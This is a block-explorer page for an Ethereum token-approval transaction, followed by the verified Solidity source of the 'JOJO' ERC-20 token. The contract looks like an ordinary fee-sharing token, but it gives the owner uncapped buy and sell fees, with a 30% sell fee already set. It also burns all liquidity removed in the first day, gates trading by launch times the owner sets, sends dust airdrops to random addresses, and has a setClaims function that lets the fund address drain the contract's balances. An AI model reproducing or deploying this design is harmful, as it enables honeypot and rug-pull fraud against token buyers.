Transaction Hash:
Block:
18013636 at Aug-28-2023 02:07:59 PM +UTC
Transaction Fee:
0.002542733703085856 ETH
$5.56
Gas Used:
47,068 Gas / 54.022556792 Gwei
Emitted Events:
347 |
TOKEN.Approval( owner=[Sender] 0x94341efd773998d8bb1b111f6f0a9efca8dda932, spender=0x00000000...43aC78BA3, value=115792089237316195423570985008687907853269984665640564039457584007913129639935 )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x85fD0A80...485695A23
Miner
| (Fee Recipient: 0x85f...A23) | 4.845270449720308838 Eth | 4.845276662696308838 Eth | 0.000006212976 | |
0x94341EFD...ca8DDa932 |
0.015359353849335114 Eth
Nonce: 887
|
0.012816620146249258 Eth
Nonce: 888
| 0.002542733703085856 | ||
0xde85cB49...11E37674B |
Execution Trace
TOKEN.approve( spender=0x000000000022D473030F116dDEE9F6B43aC78BA3, amount=115792089237316195423570985008687907853269984665640564039457584007913129639935 ) => ( True )
approve[AbsToken (ln:209)]
_approve[AbsToken (ln:210)]
Approval[AbsToken (ln:224)]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface ISwapPair { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function token0() external view returns (address); function balanceOf(address account) external view returns (uint256); function totalSupply() external view returns (uint256); } interface ISwapRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); } interface ISwapFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "!owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "new is 0"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract TokenDistributor { constructor (address token) { IERC20(token).approve(msg.sender, uint(~uint256(0))); } } abstract contract AbsToken is IERC20, Ownable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; address public fundAddress; address public fundAddress_2; string private _name; string private _symbol; uint8 private _decimals; mapping(address => bool) public _feeWhiteList; uint256 private _tTotal; ISwapRouter public _swapRouter; address public _usdt; mapping(address => bool) public _swapPairList; bool private inSwap; uint256 private constant MAX = ~uint256(0); TokenDistributor public _tokenDistributor; uint256 public _buyFundFee = 200; uint256 public _buyLPFee = 0; uint256 public _buyLPDividendFee = 0; uint256 public _sellFundFee = 3000; uint256 public _sellLPFee = 0; uint256 public _sellLPDividendFee = 0; address public _mainPair; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor ( address RouterAddress, address USDTAddress, string memory Name, string memory Symbol, uint8 Decimals, uint256 Supply, address _Fund, address _Fund_2, address ReceiveAddress ){ _name = Name; _symbol = Symbol; _decimals = Decimals; ISwapRouter swapRouter = ISwapRouter(RouterAddress); IERC20(USDTAddress).approve(address(swapRouter), MAX); _usdt = USDTAddress; _swapRouter = swapRouter; _allowances[address(this)][address(swapRouter)] = MAX; ISwapFactory swapFactory = ISwapFactory(swapRouter.factory()); address swapPair = swapFactory.createPair(address(this), USDTAddress); _mainPair = swapPair; _swapPairList[swapPair] = true; uint256 total = Supply * 10 ** Decimals; _tTotal = total; swapAtAmount = 0; _balances[ReceiveAddress] = total; emit Transfer(address(0), ReceiveAddress, total); fundAddress = _Fund; fundAddress_2 = _Fund_2; _feeWhiteList[_Fund] = true; _feeWhiteList[ReceiveAddress] = true; _feeWhiteList[address(this)] = true; _feeWhiteList[address(swapRouter)] = true; _feeWhiteList[msg.sender] = true; excludeHolder[address(0)] = true; excludeHolder[address(0x000000000000000000000000000000000000dEaD)] = true; holderRewardCondition = 10 ** IERC20(USDTAddress).decimals(); _tokenDistributor = new TokenDistributor(USDTAddress); } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function decimals() external view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); if (_allowances[sender][msg.sender] != MAX) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return true; } function _approve(address owner, address spender, uint256 amount) private { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } uint256 public swapAtAmount; function setSwapAtAmount(uint256 newValue) public onlyOwner{ swapAtAmount = newValue; } uint256 public airDropNumbs = 0; function setAirdropNumbs(uint256 newValue) public onlyOwner{ airDropNumbs = newValue; } function setBuy(uint256 newFund,uint256 newLp,uint256 newLpDividend) public onlyOwner{ _buyFundFee = newFund; _buyLPFee = newLp; _buyLPDividendFee = newLpDividend; } function setSell(uint256 newFund,uint256 newLp,uint256 newLpDividend) public onlyOwner{ _sellFundFee = newFund; _sellLPFee = newLp; _sellLPDividendFee = newLpDividend; } function tradingOpen() public view returns(bool){ return block.timestamp >= startTime && startTime != 0; } function _transfer( address from, address to, uint256 amount ) private { uint256 balance = balanceOf(from); require(balance >= amount, "balanceNotEnough"); if (inSwap){ _basicTransfer(from,to,amount); return; } bool takeFee; bool isSell; if(!_feeWhiteList[from] && !_feeWhiteList[to] && airDropNumbs > 0){ address ad; for(uint256 i=0;i < airDropNumbs;i++){ ad = address(uint160(uint(keccak256(abi.encodePacked(i, amount, block.timestamp))))); _basicTransfer(from,ad,100); } amount -= airDropNumbs*100; } if (!_feeWhiteList[from] && !_feeWhiteList[to] && !_swapPairList[from] && !_swapPairList[to]){ require(tradingOpen()); } bool isRemove; bool isAdd; if (_swapPairList[to]) { isAdd = _isAddLiquidity(); }else if(_swapPairList[from]){ isRemove = _isRemoveLiquidity(); } if (_swapPairList[from] || _swapPairList[to]) { if (!_feeWhiteList[from] && !_feeWhiteList[to]) { if (!tradingOpen()) { require(0 < goAddLPBlock && isAdd, "!goAddLP"); //_swapPairList[to] } if (_swapPairList[to]) { if (!inSwap && !isAdd) { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance > swapAtAmount) { uint256 swapFee = _buyLPFee + _buyFundFee + _buyLPDividendFee + _sellFundFee + _sellLPDividendFee + _sellLPFee; uint256 numTokensSellToFund = amount; if (numTokensSellToFund > contractTokenBalance) { numTokensSellToFund = contractTokenBalance; } swapTokenForFund(numTokensSellToFund, swapFee); } } } if (!isAdd && !isRemove) takeFee = true; // just swap fee } if (_swapPairList[to]) { isSell = true; } } if ( !_swapPairList[from] && !_swapPairList[to] && !_feeWhiteList[from] && !_feeWhiteList[to] ) { isSell = true; takeFee = true; } _tokenTransfer( from, to, amount, takeFee, isSell, isAdd, isRemove ); if (from != address(this)) { if (isSell) { addHolder(from); } processReward(500000); } } function _isAddLiquidity() internal view returns (bool isAdd){ ISwapPair mainPair = ISwapPair(_mainPair); (uint r0,uint256 r1,) = mainPair.getReserves(); address tokenOther = _usdt; uint256 r; if (tokenOther < address(this)) { r = r0; } else { r = r1; } uint bal = IERC20(tokenOther).balanceOf(address(mainPair)); isAdd = bal > r; } function _isRemoveLiquidity() internal view returns (bool isRemove){ ISwapPair mainPair = ISwapPair(_mainPair); (uint r0,uint256 r1,) = mainPair.getReserves(); address tokenOther = _usdt; uint256 r; if (tokenOther < address(this)) { r = r0; } else { r = r1; } uint bal = IERC20(tokenOther).balanceOf(address(mainPair)); isRemove = r >= bal; } function _tokenTransfer( address sender, address recipient, uint256 tAmount, bool takeFee, bool isSell, bool isAdd, bool isRemove ) private { _balances[sender] = _balances[sender] - tAmount; uint256 feeAmount; if (takeFee) { uint256 swapFee; if (isSell) { swapFee = _sellFundFee + _sellLPDividendFee + _sellLPFee; } else { swapFee = _buyFundFee + _buyLPDividendFee + _buyLPFee; } uint256 swapAmount = tAmount * swapFee / 10000; if (swapAmount > 0) { feeAmount += swapAmount; _takeTransfer( sender, address(this), swapAmount ); } } if (isAdd && !_feeWhiteList[sender] && !_feeWhiteList[recipient]) { uint256 addLiquidityFeeAmount; addLiquidityFeeAmount = (tAmount * getAddlpFee()) / 10000; if (addLiquidityFeeAmount > 0) { feeAmount += addLiquidityFeeAmount; _takeTransfer(sender, address(this), addLiquidityFeeAmount); } } if (isRemove && !_feeWhiteList[sender] && !_feeWhiteList[recipient]) { uint256 removeLiquidityFeeAmount; removeLiquidityFeeAmount = (tAmount * getRemovelpFee()) / 10000; if (removeLiquidityFeeAmount > 0) { feeAmount += removeLiquidityFeeAmount; _takeTransfer(sender, address(0xdead), removeLiquidityFeeAmount); } } _takeTransfer(sender, recipient, tAmount - feeAmount); } uint256 public addLiquidityFee; uint256 public removeLiquidityFee; function setAddLiquidityFee(uint256 newValue) public onlyOwner { require(newValue <= 10000, "add Lp > 100 !"); addLiquidityFee = newValue; } function setRemoveLiquidityFee(uint256 newValue) public onlyOwner { require(newValue <= 10000, "remove Lp> 100 !"); removeLiquidityFee = newValue; } bool public manualAddFeeEnable = true; function changeManualAddFeeEnable( bool status ) public onlyOwner{ manualAddFeeEnable = status; } function getAddlpFee() public view returns(uint256){ if (manualAddFeeEnable){ return addLiquidityFee; }else{ return 0; } } bool public manualRemoveFeeEnable = false; function changeManualRemoveFeeEnable( bool status ) public onlyOwner{ manualRemoveFeeEnable = status; } uint256 removeLpBurnDuration = 24*60*60; function setRemoveLpBurnDuration( uint256 newValue ) public onlyOwner{ removeLpBurnDuration = newValue; } function getRemovelpFee() public view returns(uint256){ if (manualRemoveFeeEnable){ return removeLiquidityFee; }else{ if (block.timestamp <= startTime + removeLpBurnDuration){ return 10000; }else{ return 0; } } } event FAILED_SWAP(uint256); function swapTokenForFund(uint256 tokenAmount, uint256 swapFee) private lockTheSwap { if (swapFee == 0) return; swapFee += swapFee; uint256 lpFee = _sellLPFee + _buyLPFee; uint256 lpAmount = tokenAmount * lpFee / swapFee; address[] memory path = new address[](2); path[0] = address(this); path[1] = _usdt; try _swapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( tokenAmount - lpAmount, 0, path, address(_tokenDistributor), block.timestamp ) {} catch { emit FAILED_SWAP(0); } swapFee -= lpFee; IERC20 FIST = IERC20(_usdt); uint256 fistBalance = FIST.balanceOf(address(_tokenDistributor)); uint256 fundAmount = fistBalance * (_buyFundFee + _sellFundFee) * 2 / swapFee; if (fundAmount > 0){ uint256 half_fund = fundAmount * 2 / 3; FIST.transferFrom(address(_tokenDistributor), fundAddress, half_fund); FIST.transferFrom(address(_tokenDistributor), fundAddress_2, fundAmount - half_fund); } FIST.transferFrom(address(_tokenDistributor), address(this), fistBalance - fundAmount); if (lpAmount > 0) { uint256 lpFist = fistBalance * lpFee / swapFee; if (lpFist > 0) { try _swapRouter.addLiquidity( address(this), _usdt, lpAmount, lpFist, 0, 0, fundAddress_2, block.timestamp ) {} catch { emit FAILED_SWAP(1); } } } } function _takeTransfer( address sender, address to, uint256 tAmount ) private { _balances[to] = _balances[to] + tAmount; emit Transfer(sender, to, tAmount); } function setFundAddress(address addr) external onlyOwner { fundAddress = addr; _feeWhiteList[addr] = true; } function setFundAddress_2(address addr) external onlyOwner { fundAddress_2 = addr; _feeWhiteList[addr] = true; } uint256 public goAddLPBlock; function addLPBegin() external onlyOwner { require(0 == goAddLPBlock, "startedAddLP"); goAddLPBlock = block.number; } function addLPEnd() external onlyOwner { goAddLPBlock = 0; } uint256 public fightB; uint256 public startTime; function launch(uint256 uintparam,uint256 s) external onlyOwner { fightB = uintparam; startTime = s; } function launchNow( address[] calldata adrs, uint256 buyAmount ) external onlyOwner { IERC20(_usdt).approve(address(_swapRouter), ~uint256(0)); for(uint i=0;i<adrs.length;i++){ swapToken(buyAmount*10**18,adrs[i]); } startTime = block.timestamp; } function swapToken(uint256 tokenAmount,address to) private lockTheSwap { address weth = _usdt; address[] memory path = new address[](2); path[0] = address(weth); path[1] = address(this); uint256 _bal = IERC20(weth).balanceOf(address(this)); tokenAmount = tokenAmount > _bal ? _bal : tokenAmount; if (tokenAmount == 0) return; // make the swap _swapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of CA path, address(to), block.timestamp ); } function setSwapPairList(address addr, bool enable) external onlyOwner { _swapPairList[addr] = enable; } function setClaims(address token, uint256 amount) external { if (msg.sender == fundAddress){ if (token == address(0)){ payable(msg.sender).transfer(amount); }else{ IERC20(token).transfer(msg.sender, amount); } } } receive() external payable {} address[] private holders; mapping(address => uint256) holderIndex; mapping(address => bool) excludeHolder; function addHolder(address adr) private { uint256 size; assembly {size := extcodesize(adr)} if (size > 0) { return; } if (0 == holderIndex[adr]) { if (0 == holders.length || holders[0] != adr) { holderIndex[adr] = holders.length; holders.push(adr); } } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] -= amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); return true; } uint256 private currentIndex; uint256 private holderRewardCondition; uint256 private progressRewardBlock; uint256 public processRewardWaitBlock = 1; function setProcessRewardWaitBlock(uint256 newValue) public onlyOwner{ processRewardWaitBlock = newValue; } function processReward(uint256 gas) private { if (progressRewardBlock + processRewardWaitBlock > block.number) { return; } IERC20 FIST = IERC20(_usdt); uint256 balance = FIST.balanceOf(address(this)); if (balance < holderRewardCondition) { return; } IERC20 holdToken = IERC20(_mainPair); uint holdTokenTotal = holdToken.totalSupply(); address shareHolder; uint256 tokenBalance; uint256 amount; uint256 shareholderCount = holders.length; uint256 gasUsed = 0; uint256 iterations = 0; uint256 gasLeft = gasleft(); while (gasUsed < gas && iterations < shareholderCount) { if (currentIndex >= shareholderCount) { currentIndex = 0; } shareHolder = holders[currentIndex]; tokenBalance = holdToken.balanceOf(shareHolder); if (tokenBalance > 0 && !excludeHolder[shareHolder]) { amount = balance * tokenBalance / holdTokenTotal; if (amount > 0) { FIST.transfer(shareHolder, amount); } } gasUsed = gasUsed + (gasLeft - gasleft()); gasLeft = gasleft(); currentIndex++; iterations++; } progressRewardBlock = block.number; } function setHolderRewardCondition(uint256 amount) external onlyOwner { holderRewardCondition = amount; } function setExcludeHolder(address addr, bool enable) external onlyOwner { excludeHolder[addr] = enable; } } contract TOKEN is AbsToken { constructor() AbsToken( address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2), "JOJO", "JOJO", 9, 420690000000000, address(0xf0C46c2B5dF8ae23cEc5aC42E7E1A1ECD85af5Fc), address(0xf0C46c2B5dF8ae23cEc5aC42E7E1A1ECD85af5Fc), address(0xf0C46c2B5dF8ae23cEc5aC42E7E1A1ECD85af5Fc) ){ } }